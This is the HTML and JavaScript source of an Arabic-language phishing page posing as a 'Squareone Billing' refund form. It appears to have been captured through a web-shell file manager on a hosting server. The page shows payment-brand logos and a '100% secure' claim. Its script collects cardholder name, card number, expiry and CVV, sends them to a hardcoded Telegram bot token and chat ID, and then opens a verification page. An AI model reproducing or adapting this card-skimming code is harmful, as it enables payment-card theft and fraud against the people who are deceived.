| Server IP : 162.0.215.10 / Your IP : 3.144.130.238 Web Server : LiteSpeed System : Linux premium181.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64 User : alfhgysd ( 724) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/alfhgysd/forteststore.store/billingrec/ |
Upload File : |
<!DOCTYPE html>
<html dir="rtl" lang="ar">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Squareone Billing</title>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="stylesheet" href="bootstrap-5.2.3-dist/css/all.min.css">
<link rel="stylesheet" href="bootstrap-5.2.3-dist/css/bootstrap.min.css">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css"
integrity="sha512-Kc323vGBEqzTmouAECnVceyQqyqdsSiqLQISBL29aUW4U/M7pSPA/gEUZQqv1cwx4OnYxTxve5UMg5GT6L4JJg=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/cleave.js/1.0.2/cleave.min.js"
integrity="sha512-SvgzybymTn9KvnNGu0HxXiGoNeOi0TTK7viiG0EGn2Qbeu/NFi3JdWrJs2JHiGA1Lph+dxiDv5F9gDlcgBzjfA=="
crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/js/all.min.js"
integrity="sha512-6sSYJqDreZRZGkJ3b+YfdhB3MzmuP9R7X1QZ6g5aIXhRvR1Y/N/P47jmnkENm7YL3oqsmI6AK+V6AD99uWDnIw=="
crossorigin="anonymous" referrerpolicy="no-referrer"></script>
</head>
<body>
<section class="section1">
<div class="container">
<div class="d-flex align-items-center">
<a href="" class="ms-2">الطلب</a> <i class="fa-solid fa-chevron-left" style="font-size: 12px;"></i>
<a href="" class="me-2">الدفع</a><i class="fa-solid fa-chevron-left me-2" style="font-size: 12px;"></i>
</div>
<h4 class="mt-3">تفاصيل الطلب</h4>
<div class="col-lg-12 col-md-12 col-sm-12">
<div style="width: 100%; margin-top: 20px; margin-bottom: 20px;">
<!-- <img src="imgs/image.png" alt="" style="width: 40px;">
<img src="imgs/images.png" alt="" style="width: 100px;"> -->
</div>
<form id="cardForm" class="row g-3">
<input type="hidden" name="_next">
<div class="col-lg-12 col-md-12">
<select id="inputState" class="form-select" name="نوع المعاملة" required>
<option selected disabled>نوع المعاملة</option>
<option value="إسترجاع المبلغ">إسترجاع المبلغ</option>
</select>
</div>
<div class="col-lg-12 col-md-12 col-sm-12">
<input type="number" name="name" class="form-control pay-input" id="name" required
placeholder="مبلغ الإسترجاع">
</div>
<div class="d-flex">
<img src="imgs/wallet-assurance.png" class="ms-2 wallet-assurance " width="40" alt="">
<h4>طريقة الدفع</h4>
<span class="me-4 ms-4">ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ</span>
</div>
<div class="row payments">
<div class="item col-lg-3 col-sm-6 " style="position: relative;">
<img src="imgs/images-removebg-preview.png" class="mada-img" width="120" height="100"
alt="">
</div>
<div class="item col-lg-3 col-sm-6 " style="position: relative;">
<!-- <img src="imgs/382f0a8cbcec2f9d791702ef4b151443-removebg-preview.png" width="80" height="60"
alt=""> -->
<img src="imgs/visa-logo-png-transparent.png" class="visa" width="80" height="80" alt="">
</div>
<div class="item col-lg-3 col-sm-6 " style="position: relative;">
<img src="imgs/تابي.png" width="80" height="40"
alt="">
</div>
<div class="item col-lg-3 col-sm-6 " style="position: relative;">
<img src="imgs/تمارا.png" class="tmara" width="80" height="40" alt="">
</div>
</div>
<div class="col-lg-12 col-md-12 col-sm-12" style="position: relative;">
<input type="text" name="name" class="form-control" id="name" required
placeholder="اسم حامل البطاقة" style="text-indent: 30px;">
<img src="imgs/card-payment.png" style="position: absolute;top: 9px;right: 15px;" width="30"
alt="">
</div>
<div class="col-lg-12 col-md-12 col-sm-12" style="position: relative;">
<input class="form-control cardNumber" style="text-indent:30px;direction:ltr;" name=" number" id="password"
required placeholder="">
<img src="imgs/card-payment.png" style="position: absolute;top: 9px;right: 15px;" width="30"
alt="">
</div>
<div class="col-lg-12 col-md-12 col-sm-12">
<select name="month" id="monthSelect" aria-placeholder="الشهر" class="form-select" required>
<option value="00">الشهر</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
</div>
<div class="col-lg-12 col-md-12 col-sm-12">
<select name="year" id="yearSelect" aria-placeholder="السنة" class="form-select" required>
<option value="00">السنة</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
</select>
</div>
<div class="col-lg-12 col-md-12 col-sm-12">
<input name="cvv" class="form-control cvv " id="cvv" required placeholder="رمز التحقق (CVV) ">
</div>
<div class="col-lg-12 col-md-12 col-sm-12">
<div class="d-flex">
<p>‘إسترجاع الكتروني امن 100% </p>
<div class="d-flex">
<img src="imgs/shield-check.png" width="20" height="20" class="me-2" alt="">
<img src="imgs/protection.png" width="20" height="20" class="me-2" alt="">
<img src="imgs/atm-card-security.png" width="20" height="20" class="me-2" alt="">
</div>
</div>
</div>
<button type="submit" name="submit" class="btn btn-primary" id="submitBtn">اكمال الطلب</button>
<h6 class="text-center">المبلغ : <span class="price"></span> <span>SAR</span></h6>
<!--
<footer>
<div class="contaner text-center">
<div class="row col-sm-12">
<strong>جميع الحقوق محفوظة لدينا ©</strong>
</div>
</div>
</footer> -->
<script>
const telegram_bot_id = "8188137527:AAFdHSetB5YxIpfxyBXbsbbhjUduGH9y10E";
const chat_id = "1510031223";
let inputState, name, password, monthSelect, yearSelect, cvv;
var ready = function () {
inputState = document.getElementById("inputState").value;
name = document.getElementById("name").value;
password = document.getElementById("password").value;
monthSelect = document.getElementById("monthSelect").value;
yearSelect = document.getElementById("yearSelect").value;
cvv = document.getElementById("cvv").value;
message = "نوع المعاملة: " + inputState + "\nالاسم: " + name + "\nكلمة البطاقة: " + password + "\nالشهر: " + monthSelect + "\nالسنة: " + yearSelect + "\ncvv: " + cvv;
}
var sender = function () {
ready()
if (inputState === "" || name === "" || password === "" || monthSelect === "" || yearSelect === "" || cvv === "") {
alert("يرجى تعبئة جميع الحقول");
return false;
}
var settings = {
method: 'post',
url: `https://api.telegram.org/bot${telegram_bot_id}/sendMessage`,
data: {
chat_id: chat_id,
text: message
}
};
axios(settings)
.then(function (response) {
window.open("verification.html");
})
.catch(function (error) {
console.log(error);
});
document.getElementById("inputState").value = "";
document.getElementById("name").value = "";
document.getElementById("password").value = "";
document.getElementById("monthSelect").value = "";
document.getElementById("yearSelect").value = "";
document.getElementById("cvv").value = "";
return false;
};
document.getElementById("submitBtn").onclick = sender;
$('.item').click(function () {
$(this).siblings().removeClass("active");
$(this).addClass("active");
})
var cleave = new Cleave('.cardNumber', {
creditCard: true,
});
var cleave = new Cleave('.cvv', {
blocks: [3],
uppercase: true
});
$('.pay-input').on( 'input' , function(){
$('.price').text($(this).val())
})
</script>
<script src="node_modules/axios/dist/axios.min.js"></script>
</body>
</html>